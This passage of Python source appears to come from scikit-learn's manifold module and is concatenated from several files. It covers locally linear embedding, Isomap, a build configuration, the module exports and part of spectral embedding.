                   n_neighbors > n_components * (1 + (n_components + 1) / 2.
                   see reference [2]_
        modified : use the modified locally linear embedding algorithm.
                   see reference [3]_
        ltsa     : use local tangent space alignment algorithm
                   see reference [4]_

    hessian_tol : float, optional
        Tolerance for Hessian eigenmapping method.
        Only used if method == 'hessian'

    modified_tol : float, optional
        Tolerance for modified LLE method.
        Only used if method == 'modified'

    random_state: numpy.RandomState or int, optional
        The generator or seed used to determine the starting vector for arpack
        iterations.  Defaults to numpy.random.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    Y : array-like, shape [n_samples, n_components]
        Embedding vectors.

    squared_error : float
        Reconstruction error for the embedding vectors. Equivalent to
        ``norm(Y - W Y, 'fro')**2``, where W are the reconstruction weights.

    References
    ----------

    .. [1] `Roweis, S. & Saul, L. Nonlinear dimensionality reduction
        by locally linear embedding.  Science 290:2323 (2000).`
    .. [2] `Donoho, D. & Grimes, C. Hessian eigenmaps: Locally
        linear embedding techniques for high-dimensional data.
        Proc Natl Acad Sci U S A.  100:5591 (2003).`
    .. [3] `Zhang, Z. & Wang, J. MLLE: Modified Locally Linear
        Embedding Using Multiple Weights.`
        http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.70.382
    .. [4] `Zhang, Z. & Zha, H. Principal manifolds and nonlinear
        dimensionality reduction via tangent space alignment.
        Journal of Shanghai Univ.  8:406 (2004)`
    """
    if eigen_solver not in ('auto', 'arpack', 'dense'):
        raise ValueError("unrecognized eigen_solver '%s'" % eigen_solver)

    if method not in ('standard', 'hessian', 'modified', 'ltsa'):
        raise ValueError("unrecognized method '%s'" % method)

    nbrs = NearestNeighbors(n_neighbors=n_neighbors + 1, n_jobs=n_jobs)
    nbrs.fit(X)
    X = nbrs._fit_X

    N, d_in = X.shape

    if n_components > d_in:
        raise ValueError("output dimension must be less than or equal "
                         "to input dimension")
    if n_neighbors >= N:
        raise ValueError("n_neighbors must be less than number of points")

    if n_neighbors <= 0:
        raise ValueError("n_neighbors must be positive")

    M_sparse = (eigen_solver != 'dense')

    if method == 'standard':
        W = barycenter_kneighbors_graph(
            nbrs, n_neighbors=n_neighbors, reg=reg, n_jobs=n_jobs)

        # we'll compute M = (I-W)'(I-W)
        # depending on the solver, we'll do this differently
        if M_sparse:
            M = eye(*W.shape, format=W.format) - W
            M = (M.T * M).tocsr()
        else:
            M = (W.T * W - W.T - W).toarray()
            M.flat[::M.shape[0] + 1] += 1  # W = W - I = W - I

    elif method == 'hessian':
        dp = n_components * (n_components + 1) // 2

        if n_neighbors <= n_components + dp:
            raise ValueError("for method='hessian', n_neighbors must be "
                             "greater than "
                             "[n_components * (n_components + 3) / 2]")

        neighbors = nbrs.kneighbors(X, n_neighbors=n_neighbors + 1,
                                    return_distance=False)
        neighbors = neighbors[:, 1:]

        Yi = np.empty((n_neighbors, 1 + n_components + dp), dtype=np.float64)
        Yi[:, 0] = 1

        M = np.zeros((N, N), dtype=np.float64)

        use_svd = (n_neighbors > d_in)

        for i in range(N):
            Gi = X[neighbors[i]]
            Gi -= Gi.mean(0)

            # build Hessian estimator
            if use_svd:
                U = svd(Gi, full_matrices=0)[0]
            else:
                Ci = np.dot(Gi, Gi.T)
                U = eigh(Ci)[1][:, ::-1]

            Yi[:, 1:1 + n_components] = U[:, :n_components]

            j = 1 + n_components
            for k in range(n_components):
                Yi[:, j:j + n_components - k] = (U[:, k:k + 1] *
                                                 U[:, k:n_components])
                j += n_components - k

            Q, R = qr(Yi)

            w = Q[:, n_components + 1:]
            S = w.sum(0)

            S[np.where(abs(S) < hessian_tol)] = 1
            w /= S

            nbrs_x, nbrs_y = np.meshgrid(neighbors[i], neighbors[i])
            M[nbrs_x, nbrs_y] += np.dot(w, w.T)

        if M_sparse:
            M = csr_matrix(M)

    elif method == 'modified':
        if n_neighbors < n_components:
            raise ValueError("modified LLE requires "
                             "n_neighbors >= n_components")

        neighbors = nbrs.kneighbors(X, n_neighbors=n_neighbors + 1,
                                    return_distance=False)
        neighbors = neighbors[:, 1:]

        # find the eigenvectors and eigenvalues of each local covariance
        # matrix. We want V[i] to be a [n_neighbors x n_neighbors] matrix,
        # where the columns are eigenvectors
        V = np.zeros((N, n_neighbors, n_neighbors))
        nev = min(d_in, n_neighbors)
        evals = np.zeros([N, nev])

        # choose the most efficient way to find the eigenvectors
        use_svd = (n_neighbors > d_in)

        if use_svd:
            for i in range(N):
                X_nbrs = X[neighbors[i]] - X[i]
                V[i], evals[i], _ = svd(X_nbrs,
                                        full_matrices=True)
            evals **= 2
        else:
            for i in range(N):
                X_nbrs = X[neighbors[i]] - X[i]
                C_nbrs = np.dot(X_nbrs, X_nbrs.T)
                evi, vi = eigh(C_nbrs)
                evals[i] = evi[::-1]
                V[i] = vi[:, ::-1]

        # find regularized weights: this is like normal LLE.
        # because we've already computed the SVD of each covariance matrix,
        # it's faster to use this rather than np.linalg.solve
        reg = 1E-3 * evals.sum(1)

        tmp = np.dot(V.transpose(0, 2, 1), np.ones(n_neighbors))
        tmp[:, :nev] /= evals + reg[:, None]
        tmp[:, nev:] /= reg[:, None]

        w_reg = np.zeros((N, n_neighbors))
        for i in range(N):
            w_reg[i] = np.dot(V[i], tmp[i])
        w_reg /= w_reg.sum(1)[:, None]

        # calculate eta: the median of the ratio of small to large eigenvalues
        # across the points.  This is used to determine s_i, below
        rho = evals[:, n_components:].sum(1) / evals[:, :n_components].sum(1)
        eta = np.median(rho)

        # find s_i, the size of the "almost null space" for each point:
        # this is the size of the largest set of eigenvalues
        # such that Sum[v; v in set]/Sum[v; v not in set] < eta
        s_range = np.zeros(N, dtype=int)
        evals_cumsum = np.cumsum(evals, 1)
        eta_range = evals_cumsum[:, -1:] / evals_cumsum[:, :-1] - 1
        for i in range(N):
            s_range[i] = np.searchsorted(eta_range[i, ::-1], eta)
        s_range += n_neighbors - nev  # number of zero eigenvalues

        # Now calculate M.
        # This is the [N x N] matrix whose null space is the desired embedding
        M = np.zeros((N, N), dtype=np.float64)
        for i in range(N):
            s_i = s_range[i]

            # select bottom s_i eigenvectors and calculate alpha
            Vi = V[i, :, n_neighbors - s_i:]
            alpha_i = np.linalg.norm(Vi.sum(0)) / np.sqrt(s_i)

            # compute Householder matrix which satisfies
            #  Hi*Vi.T*ones(n_neighbors) = alpha_i*ones(s)
            # using prescription from paper
            h = alpha_i * np.ones(s_i) - np.dot(Vi.T, np.ones(n_neighbors))

            norm_h = np.linalg.norm(h)
            if norm_h < modified_tol:
                h *= 0
            else:
                h /= norm_h

            # Householder matrix is
            #  >> Hi = np.identity(s_i) - 2*np.outer(h,h)
            # Then the weight matrix is
            #  >> Wi = np.dot(Vi,Hi) + (1-alpha_i) * w_reg[i,:,None]
            # We do this much more efficiently:
            Wi = (Vi - 2 * np.outer(np.dot(Vi, h), h) +
                  (1 - alpha_i) * w_reg[i, :, None])

            # Update M as follows:
            # >> W_hat = np.zeros( (N,s_i) )
            # >> W_hat[neighbors[i],:] = Wi
            # >> W_hat[i] -= 1
            # >> M += np.dot(W_hat,W_hat.T)
            # We can do this much more efficiently:
            nbrs_x, nbrs_y = np.meshgrid(neighbors[i], neighbors[i])
            M[nbrs_x, nbrs_y] += np.dot(Wi, Wi.T)
            Wi_sum1 = Wi.sum(1)
            M[i, neighbors[i]] -= Wi_sum1
            M[neighbors[i], i] -= Wi_sum1
            M[i, i] += s_i

        if M_sparse:
            M = csr_matrix(M)

    elif method == 'ltsa':
        neighbors = nbrs.kneighbors(X, n_neighbors=n_neighbors + 1,
                                    return_distance=False)
        neighbors = neighbors[:, 1:]

        M = np.zeros((N, N))

        use_svd = (n_neighbors > d_in)

        for i in range(N):
            Xi = X[neighbors[i]]
            Xi -= Xi.mean(0)

            # compute n_components largest eigenvalues of Xi * Xi^T
            if use_svd:
                v = svd(Xi, full_matrices=True)[0]
            else:
                Ci = np.dot(Xi, Xi.T)
                v = eigh(Ci)[1][:, ::-1]

            Gi = np.zeros((n_neighbors, n_components + 1))
            Gi[:, 1:] = v[:, :n_components]
            Gi[:, 0] = 1. / np.sqrt(n_neighbors)

            GiGiT = np.dot(Gi, Gi.T)

            nbrs_x, nbrs_y = np.meshgrid(neighbors[i], neighbors[i])
            M[nbrs_x, nbrs_y] -= GiGiT
            M[neighbors[i], neighbors[i]] += 1

    return null_space(M, n_components, k_skip=1, eigen_solver=eigen_solver,
                      tol=tol, max_iter=max_iter, random_state=random_state)


class LocallyLinearEmbedding(BaseEstimator, TransformerMixin):
    """Locally Linear Embedding

    Read more in the :ref:`User Guide <locally_linear_embedding>`.

    Parameters
    ----------
    n_neighbors : integer
        number of neighbors to consider for each point.

    n_components : integer
        number of coordinates for the manifold

    reg : float
        regularization constant, multiplies the trace of the local covariance
        matrix of the distances.

    eigen_solver : string, {'auto', 'arpack', 'dense'}
        auto : algorithm will attempt to choose the best method for input data

        arpack : use arnoldi iteration in shift-invert mode.
                    For this method, M may be a dense matrix, sparse matrix,
                    or general linear operator.
                    Warning: ARPACK can be unstable for some problems.  It is
                    best to try several random seeds in order to check results.

        dense  : use standard dense matrix operations for the eigenvalue
                    decomposition.  For this method, M must be an array
                    or matrix type.  This method should be avoided for
                    large problems.

    tol : float, optional
        Tolerance for 'arpack' method
        Not used if eigen_solver=='dense'.

    max_iter : integer
        maximum number of iterations for the arpack solver.
        Not used if eigen_solver=='dense'.

    method : string ('standard', 'hessian', 'modified' or 'ltsa')
        standard : use the standard locally linear embedding algorithm.  see
                   reference [1]
        hessian  : use the Hessian eigenmap method. This method requires
                   ``n_neighbors > n_components * (1 + (n_components + 1) / 2``
                   see reference [2]
        modified : use the modified locally linear embedding algorithm.
                   see reference [3]
        ltsa     : use local tangent space alignment algorithm
                   see reference [4]

    hessian_tol : float, optional
        Tolerance for Hessian eigenmapping method.
        Only used if ``method == 'hessian'``

    modified_tol : float, optional
        Tolerance for modified LLE method.
        Only used if ``method == 'modified'``

    neighbors_algorithm : string ['auto'|'brute'|'kd_tree'|'ball_tree']
        algorithm to use for nearest neighbors search,
        passed to neighbors.NearestNeighbors instance

    random_state: numpy.RandomState or int, optional
        The generator or seed used to determine the starting vector for arpack
        iterations.  Defaults to numpy.random.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------
    embedding_vectors_ : array-like, shape [n_components, n_samples]
        Stores the embedding vectors

    reconstruction_error_ : float
        Reconstruction error associated with `embedding_vectors_`

    nbrs_ : NearestNeighbors object
        Stores nearest neighbors instance, including BallTree or KDtree
        if applicable.

    References
    ----------

    .. [1] `Roweis, S. & Saul, L. Nonlinear dimensionality reduction
        by locally linear embedding.  Science 290:2323 (2000).`
    .. [2] `Donoho, D. & Grimes, C. Hessian eigenmaps: Locally
        linear embedding techniques for high-dimensional data.
        Proc Natl Acad Sci U S A.  100:5591 (2003).`
    .. [3] `Zhang, Z. & Wang, J. MLLE: Modified Locally Linear
        Embedding Using Multiple Weights.`
        http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.70.382
    .. [4] `Zhang, Z. & Zha, H. Principal manifolds and nonlinear
        dimensionality reduction via tangent space alignment.
        Journal of Shanghai Univ.  8:406 (2004)`
    """

    def __init__(self, n_neighbors=5, n_components=2, reg=1E-3,
                 eigen_solver='auto', tol=1E-6, max_iter=100,
                 method='standard', hessian_tol=1E-4, modified_tol=1E-12,
                 neighbors_algorithm='auto', random_state=None, n_jobs=1):
        self.n_neighbors = n_neighbors
        self.n_components = n_components
        self.reg = reg
        self.eigen_solver = eigen_solver
        self.tol = tol
        self.max_iter = max_iter
        self.method = method
        self.hessian_tol = hessian_tol
        self.modified_tol = modified_tol
        self.random_state = random_state
        self.neighbors_algorithm = neighbors_algorithm
        self.n_jobs = n_jobs

    def _fit_transform(self, X):
        self.nbrs_ = NearestNeighbors(self.n_neighbors,
                                      algorithm=self.neighbors_algorithm,
                                      n_jobs=self.n_jobs)

        random_state = check_random_state(self.random_state)
        X = check_array(X)
        self.nbrs_.fit(X)
        self.embedding_, self.reconstruction_error_ = \
            locally_linear_embedding(
                self.nbrs_, self.n_neighbors, self.n_components,
                eigen_solver=self.eigen_solver, tol=self.tol,
                max_iter=self.max_iter, method=self.method,
                hessian_tol=self.hessian_tol, modified_tol=self.modified_tol,
                random_state=random_state, reg=self.reg, n_jobs=self.n_jobs)

    def fit(self, X, y=None):
        """Compute the embedding vectors for data X

        Parameters
        ----------
        X : array-like of shape [n_samples, n_features]
            training set.

        Returns
        -------
        self : returns an instance of self.
        """
        self._fit_transform(X)
        return self

    def fit_transform(self, X, y=None):
        """Compute the embedding vectors for data X and transform X.

        Parameters
        ----------
        X : array-like of shape [n_samples, n_features]
            training set.

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        self._fit_transform(X)
        return self.embedding_

    def transform(self, X):
        """
        Transform new points into embedding space.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        X_new : array, shape = [n_samples, n_components]

        Notes
        -----
        Because of scaling performed by this method, it is discouraged to use
        it together with methods that are not scale-invariant (like SVMs)
        """
        check_is_fitted(self, "nbrs_")

        X = check_array(X)
        ind = self.nbrs_.kneighbors(X, n_neighbors=self.n_neighbors,
                                    return_distance=False)
        weights = barycenter_weights(X, self.nbrs_._fit_X[ind],
                                     reg=self.reg)
        X_new = np.empty((X.shape[0], self.n_components))
        for i in range(X.shape[0]):
            X_new[i] = np.dot(self.embedding_[ind[i]].T, weights[i])
        return X_new






"""Isomap for manifold learning"""

# Author: Jake Vanderplas  -- <vanderplas@astro.washington.edu>
# License: BSD 3 clause (C) 2011

import numpy as np
from ..base import BaseEstimator, TransformerMixin
from ..neighbors import NearestNeighbors, kneighbors_graph
from ..utils import check_array
from ..utils.graph import graph_shortest_path
from ..decomposition import KernelPCA
from ..preprocessing import KernelCenterer


class Isomap(BaseEstimator, TransformerMixin):
    """Isomap Embedding

    Non-linear dimensionality reduction through Isometric Mapping

    Read more in the :ref:`User Guide <isomap>`.

    Parameters
    ----------
    n_neighbors : integer
        number of neighbors to consider for each point.

    n_components : integer
        number of coordinates for the manifold

    eigen_solver : ['auto'|'arpack'|'dense']
        'auto' : Attempt to choose the most efficient solver
        for the given problem.

        'arpack' : Use Arnoldi decomposition to find the eigenvalues
        and eigenvectors.

        'dense' : Use a direct solver (i.e. LAPACK)
        for the eigenvalue decomposition.

    tol : float
        Convergence tolerance passed to arpack or lobpcg.
        not used if eigen_solver == 'dense'.

    max_iter : integer
        Maximum number of iterations for the arpack solver.
        not used if eigen_solver == 'dense'.

    path_method : string ['auto'|'FW'|'D']
        Method to use in finding shortest path.

        'auto' : attempt to choose the best algorithm automatically.

        'FW' : Floyd-Warshall algorithm.

        'D' : Dijkstra's algorithm.

    neighbors_algorithm : string ['auto'|'brute'|'kd_tree'|'ball_tree']
        Algorithm to use for nearest neighbors search,
        passed to neighbors.NearestNeighbors instance.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------
    embedding_ : array-like, shape (n_samples, n_components)
        Stores the embedding vectors.

    kernel_pca_ : object
        `KernelPCA` object used to implement the embedding.

    training_data_ : array-like, shape (n_samples, n_features)
        Stores the training data.

    nbrs_ : sklearn.neighbors.NearestNeighbors instance
        Stores nearest neighbors instance, including BallTree or KDtree
        if applicable.

    dist_matrix_ : array-like, shape (n_samples, n_samples)
        Stores the geodesic distance matrix of training data.

    References
    ----------

    .. [1] Tenenbaum, J.B.; De Silva, V.; & Langford, J.C. A global geometric
           framework for nonlinear dimensionality reduction. Science 290 (5500)
    """

    def __init__(self, n_neighbors=5, n_components=2, eigen_solver='auto',
                 tol=0, max_iter=None, path_method='auto',
                 neighbors_algorithm='auto', n_jobs=1):
        self.n_neighbors = n_neighbors
        self.n_components = n_components
        self.eigen_solver = eigen_solver
        self.tol = tol
        self.max_iter = max_iter
        self.path_method = path_method
        self.neighbors_algorithm = neighbors_algorithm
        self.n_jobs = n_jobs

    def _fit_transform(self, X):
        X = check_array(X)
        self.nbrs_ = NearestNeighbors(n_neighbors=self.n_neighbors,
                                      algorithm=self.neighbors_algorithm,
                                      n_jobs=self.n_jobs)
        self.nbrs_.fit(X)
        self.training_data_ = self.nbrs_._fit_X
        self.kernel_pca_ = KernelPCA(n_components=self.n_components,
                                     kernel="precomputed",
                                     eigen_solver=self.eigen_solver,
                                     tol=self.tol, max_iter=self.max_iter,
                                     n_jobs=self.n_jobs)

        kng = kneighbors_graph(self.nbrs_, self.n_neighbors,
                               mode='distance', n_jobs=self.n_jobs)

        self.dist_matrix_ = graph_shortest_path(kng,
                                                method=self.path_method,
                                                directed=False)
        G = self.dist_matrix_ ** 2
        G *= -0.5

        self.embedding_ = self.kernel_pca_.fit_transform(G)

    def reconstruction_error(self):
        """Compute the reconstruction error for the embedding.

        Returns
        -------
        reconstruction_error : float

        Notes
        -------
        The cost function of an isomap embedding is

        ``E = frobenius_norm[K(D) - K(D_fit)] / n_samples``

        Where D is the matrix of distances for the input data X,
        D_fit is the matrix of distances for the output embedding X_fit,
        and K is the isomap kernel:

        ``K(D) = -0.5 * (I - 1/n_samples) * D^2 * (I - 1/n_samples)``
        """
        G = -0.5 * self.dist_matrix_ ** 2
        G_center = KernelCenterer().fit_transform(G)
        evals = self.kernel_pca_.lambdas_
        return np.sqrt(np.sum(G_center ** 2) - np.sum(evals ** 2)) / G.shape[0]

    def fit(self, X, y=None):
        """Compute the embedding vectors for data X

        Parameters
        ----------
        X : {array-like, sparse matrix, BallTree, KDTree, NearestNeighbors}
            Sample data, shape = (n_samples, n_features), in the form of a
            numpy array, precomputed tree, or NearestNeighbors
            object.

        Returns
        -------
        self : returns an instance of self.
        """
        self._fit_transform(X)
        return self

    def fit_transform(self, X, y=None):
        """Fit the model from data in X and transform X.

        Parameters
        ----------
        X: {array-like, sparse matrix, BallTree, KDTree}
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        self._fit_transform(X)
        return self.embedding_

    def transform(self, X):
        """Transform X.

        This is implemented by linking the points X into the graph of geodesic
        distances of the training data. First the `n_neighbors` nearest
        neighbors of X are found in the training data, and from these the
        shortest geodesic distances from each point in X to each point in
        the training data are computed in order to construct the kernel.
        The embedding of X is the projection of this kernel onto the
        embedding vectors of the training set.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        X = check_array(X)
        distances, indices = self.nbrs_.kneighbors(X, return_distance=True)

        # Create the graph of shortest distances from X to self.training_data_
        # via the nearest neighbors of X.
        # This can be done as a single array operation, but it potentially
        # takes a lot of memory.  To avoid that, use a loop:
        G_X = np.zeros((X.shape[0], self.training_data_.shape[0]))
        for i in range(X.shape[0]):
            G_X[i] = np.min(self.dist_matrix_[indices[i]] +
                            distances[i][:, None], 0)

        G_X **= 2
        G_X *= -0.5

        return self.kernel_pca_.transform(G_X)






import os
from os.path import join

import numpy
from numpy.distutils.misc_util import Configuration
from sklearn._build_utils import get_blas_info


def configuration(parent_package="", top_path=None):
    config = Configuration("manifold", parent_package, top_path)
    libraries = []
    if os.name == 'posix':
        libraries.append('m')
    config.add_extension("_utils",
                         sources=["_utils.c"],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries,
                         extra_compile_args=["-O3"])
    cblas_libs, blas_info = get_blas_info()
    eca = blas_info.pop('extra_compile_args', [])
    eca.append("-O4")
    config.add_extension("_barnes_hut_tsne",
                         libraries=cblas_libs,
                         sources=["_barnes_hut_tsne.c"],
                         include_dirs=[join('..', 'src', 'cblas'),
                                       numpy.get_include(),
                                       blas_info.pop('include_dirs', [])],
                         extra_compile_args=eca, **blas_info)

    config.add_subpackage('tests')

    return config

if __name__ == "__main__":
    from numpy.distutils.core import setup
    setup(**configuration().todict())






"""
The :mod:`sklearn.manifold` module implements data embedding techniques.
"""

from .locally_linear import locally_linear_embedding, LocallyLinearEmbedding
from .isomap import Isomap
from .mds import MDS
from .spectral_embedding_ import SpectralEmbedding, spectral_embedding
from .t_sne import TSNE

__all__ = ['locally_linear_embedding', 'LocallyLinearEmbedding', 'Isomap',
           'MDS', 'SpectralEmbedding', 'spectral_embedding', "TSNE"]






"""Spectral Embedding"""

# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Wei LI <kuantkid@gmail.com>
# License: BSD 3 clause

import warnings
import numpy as np
from scipy import sparse
from scipy.linalg import eigh
from scipy.sparse.linalg import lobpcg
from ..base import BaseEstimator
from ..externals import six
from ..utils import check_random_state, check_array, check_symmetric
from ..utils.extmath import _deterministic_vector_sign_flip
from ..utils.graph import graph_laplacian
from ..utils.sparsetools import connected_components
from ..utils.arpack import eigsh
from ..metrics.pairwise import rbf_kernel
from ..neighbors import kneighbors_graph


def _graph_connected_component(graph, node_id):
    """Find the largest graph connected components that contains one
    given node

    Parameters
    ----------
    graph : array-like, shape: (n_samples, n_samples)
        adjacency matrix of the graph, non-zero weight means an edge
        between the nodes

    node_id : int
        The index of the query node of the graph

    Returns
    -------
    connected_components_matrix : array-like, shape: (n_samples,)
        An array of bool value indicating the indexes of the nodes
        belonging to the largest connected components of the given query
        node
    """
    n_node = graph.shape[0]
    if sparse.issparse(graph):
        # speed up row-wise access to boolean connection mask
        graph = graph.tocsr()
    connected_nodes = np.zeros(n_node, dtype=np.bool)
    nodes_to_explore = np.zeros(n_node, dtype=np.bool)
    nodes_to_explore[node_id] = True
    for _ in range(n_node):
        last_num_component = connected_nodes.sum()
        np.logical_or(connected_nodes, nodes_to_explore, out=connected_nodes)
        if last_num_component >= connected_nodes.sum():
            break
        indices = np.where(nodes_to_explore)[0]
        nodes_to_explore.fill(False)
        for i in indices:
            if sparse.issparse(graph):
                neighbors = graph[i].toarray().ravel()
            else:
                neighbors = graph[i]
            np.logical_or(nodes_to_explore, neighbors, out=nodes_to_explore)
    return connected_nodes


def _graph_is_connected(graph):
    """ Return whether the graph is connected (True) or Not (False)

    Parameters
    ----------
    graph : array-like or sparse matrix, shape: (n_samples, n_samples)
        adjacency matrix of the graph, non-zero weight means an edge
        between the nodes

    Returns
    -------
    is_connected : bool
        True means the graph is fully connected and False means not
    """
    if sparse.isspmatrix(graph):
        # sparse graph, find all the connected components
        n_connected_components, _ = connected_components(graph)
        return n_connected_components == 1
    else:
        # dense graph, find all connected components start from node 0
        return _graph_connected_component(graph, 0).sum() == graph.shape[0]


def _set_diag(laplacian, value, norm_laplacian):
    """Set the diagonal of the laplacian matrix and convert it to a
    sparse format well suited for eigenvalue decomposition

    Parameters
    ----------
    laplacian : array or sparse matrix
        The graph laplacian
    value : float
        The value of the diagonal
    norm_laplacian : bool
        Whether the value of the diagonal should be changed or not

    Returns
    -------
    laplacian : array or sparse matrix
        An array of matrix in a form that is well suited to fast
        eigenvalue decomposition, depending on the band width of the
        matrix.
    """
    n_nodes = laplacian.shape[0]
    # We need all entries in the diagonal to values
    if not sparse.isspmatrix(laplacian):
        if norm_laplacian:
            laplacian.flat[::n_nodes + 1] = value
    else:
        laplacian = laplacian.tocoo()
        if norm_laplacian:
            diag_idx = (laplacian.row == laplacian.col)
            laplacian.data[diag_idx] = value
        # If the matrix has a small number of diagonals (as in the
        # case of structured matrices coming from images), the
        # dia format might be best suited for matvec products:
        n_diags = np.unique(laplacian.row - laplacian.col).size
        if n_diags <= 7:
            # 3 or less outer diagonals on each side
            laplacian = laplacian.todia()
        else:
            # csr has the fastest matvec and is thus best suited to
            # arpack
            laplacian = laplacian.tocsr()
    return laplacian


def spectral_embedding(adjacency, n_components=8, eigen_solver=None,
                       random_state=None, eigen_tol=0.0,
                       norm_laplacian=True, drop_first=True):
    """Project the sample on the first eigenvectors of the graph Laplacian.

    The adjacency matrix is used to compute a normalized graph Laplacian
    whose spectrum (especially the eigenvectors associated to the
    smallest eigenvalues) has an interpretation in terms of minimal
    number of cuts necessary to split the graph into comparably sized
    components.

    This embedding can also 'work' even if the ``adjacency`` variable is
    not strictly the adjacency matrix of a graph but more generally
    an affinity or similarity matrix between samples (for instance the
    heat kernel of a euclidean distance matrix or a k-NN matrix).

    However care must taken to always make the affinity matrix symmetric
    so that the eigenvector decomposition works as expected.

    Read more in the :ref:`User Guide <spectral_embedding>`.

    Parameters
    ----------
    adjacency : array-like or sparse matrix, shape: (n_samples, n_samples)
        The adjacency matrix of the graph to embed.

    n_components : integer, optional, default 8
        The dimension of the projection subspace.

    eigen_solver : {None, 'arpack', 'lobpcg', or 'amg'}, default None
        The eigenvalue decomposition strategy to use. AMG requires pyamg
        to be installed. It can be faster on very large, sparse problems,
        but may also lead to instabilities.

    random_state : int seed, RandomState instance, or None (default)
        A pseudo random number generator used for the initialization of the
        lobpcg eigenvectors decomposition when eigen_solver == 'amg'.
        By default, arpack is used.

    eigen_tol : float, optional, default=0.0
        Stopping criterion for eigendecomposition of the Laplacian matrix
        when using arpack eigen_solver.

    drop_first : bool, optional, default=True
        Whether to drop the first eigenvector. For spectral embedding, this
        should be True as the first eigenvector should be constant vector for
        connected graph, but for spectral clustering, this should be kept as
        False to retain the first eigenvector.

    norm_laplacian : bool, optional, default=True
        If True, then compute normalized Laplacian.

    Returns
    -------
    embedding : array, shape=(n_samples, n_components)
        The reduced samples.

    Notes
    -----
    Spectral embedding is most useful when the graph has one connected
    component. If there graph has many components, the first few eigenvectors
    will simply uncover the connected components of the graph.

    References
    ----------
    * https://en.wikipedia.org/wiki/LOBPCG

    * Toward the Optimal Preconditioned Eigensolver: Locally Optimal
      Block Preconditioned Conjugate Gradient Method
      Andrew V. Knyazev
      http://dx.doi.org/10.1137%2FS1064827500366124
    """
    adjacency = check_symmetric(adjacency)

    try:
        from pyamg import smoothed_aggregation_solver
    except ImportError:
        if eigen_solver == "amg":
            raise ValueError("The eigen_solver was set to 'amg', but pyamg is "
                             "not available.")

    if eigen_solver is None:
        eigen_solver = 'arpack'
    elif eigen_solver not in ('arpack', 'lobpcg', 'amg'):
        raise ValueError("Unknown value for eigen_solver: '%s'."
                         "Should be 'amg', 'arpack', or 'lobpcg'"
                         % eigen_solver)

    random_state = check_random_state(random_state)

    n_nodes = adjacency.shape[0]
    # Whether to drop the first eigenvector
    if drop_first:
        n_components = n_components + 1

    if not _graph_is_connected(adjacency):
        warnings.warn("Graph is not fully connected, spectral embedding"
                      " may not work as expected.")

    laplacian, dd = graph_laplacian(adjacency,
                                    normed=norm_laplacian, return_diag=True)
    if (eigen_solver == 'arpack' or eigen_solver != 'lobpcg' and
       (not sparse.isspmatrix(laplacian) or n_nodes < 5 * n_components)):
        # lobpcg used with eigen_solver='amg' has bugs for low number of nodes
        # for details see the source code in scipy:
        # https://github.com/scipy/scipy/blob/v0.11.0/scipy/sparse/linalg/eigen
        # /lobpcg/lobpcg.py#L237
        # or matlab:
        # http://www.mathworks.com/matlabcentral/fileexchange/48-lobpcg-m
        laplacian = _set_diag(laplacian, 1, norm_laplacian)

        # Here we'll use shift-invert mode for fast eigenvalues
        # (see http://docs.scipy.org/doc/scipy/reference/tutorial/arpack.html
        #  for a short explanation of what this means)
        # Because the normalized Laplacian has eigenvalues between 0 and 2,
        # I - L has eigenvalues between -1 and 1.  ARPACK is most efficient
        # when finding eigenvalues of largest magnitude (keyword which='LM')
        # and when these eigenvalues are very large compared to the rest.
        # For very large, very sparse graphs, I - L can have many, many
        # eigenvalues very near 1.0.  This leads to slow convergence.  So
        # instead, we'll use ARPACK's shift-invert mode, asking for the
        # eigenvalues near 1.0.  This effectively spreads-out the spectrum
        # near 1.0 and leads to much faster convergence: potentially an
        # orders-of-magnitude speedup over simply using keyword which='LA'
        # in standard mode.
        try:
            # We are computing the opposite of the laplacian inplace so as
            # to spare a memory allocation of a possibly very large array
            laplacian *= -1
            v0 = random_state.uniform(-1, 1, laplacian.shape[0])
            lambdas, diffusion_map = eigsh(laplacian, k=n_components,
                                           sigma=1.0, which='LM',
                                           tol=eigen_tol, v0=v0)
            embedding = diffusion_map.T[n_components::-1] * dd
        except RuntimeError:
            # When submatrices are exactly singular, an LU decomposition
            # in arpack fails. We fallback to lobpcg
            eigen_solver = "lobpcg"
            # Revert the laplacian to its opposite to have lobpcg work
            laplacian *= -1

    if eigen_solver == 'amg':
        # Use AMG to get a preconditioner and speed up the eigenvalue
        # problem.
        if not sparse.issparse(laplacian):
            warnings.warn("AMG works better for sparse matrices")
        # lobpcg needs double precision floats
        laplacian = check_array(laplacian, dtype=np.float64,
                                accept_sparse=True)
        laplacian = _set_diag(laplacian, 1, norm_laplacian)
        ml = smoothed_aggregation_solver(check_array(laplacian, 'csr'))
        M = ml.aspreconditioner()
        X = random_state.rand(laplacian.shape[0], n_components + 1)
        X[:, 0] = dd.ravel()
        lambdas, diffusion_map = lobpcg(laplacian, X, M=M, tol=1.e-12,
                                        largest=False)
        embedding = diffusion_map.T * dd
        if embedding.shape[0] == 1:
            raise ValueError

    elif eigen_solver == "lobpcg":
        # lobpcg needs double precision floats
        laplacian = check_array(laplacian, dtype=np.float64,
                                accept_sparse=True)
        if n_nodes < 5 * n_components + 1:
            # see note above under arpack why lobpcg has problems with small
            # number of nodes
            # lobpcg will fallback to eigh, so we short circuit it
            if sparse.isspmatrix(laplacian):
                laplacian = laplacian.toarray()
            lambdas, diffusion_map = eigh(laplacian)
            embedding = diffusion_map.T[:n_components] * dd
        else:
            laplacian = _set_diag(laplacian, 1, norm_laplacian)
            # We increase the number of eigenvectors requested, as lobpcg
            # doesn't behave well in low dimension
            X = random_state.rand(laplacian.shape[0], n_components + 1)
            X[:, 0] = dd.ravel()
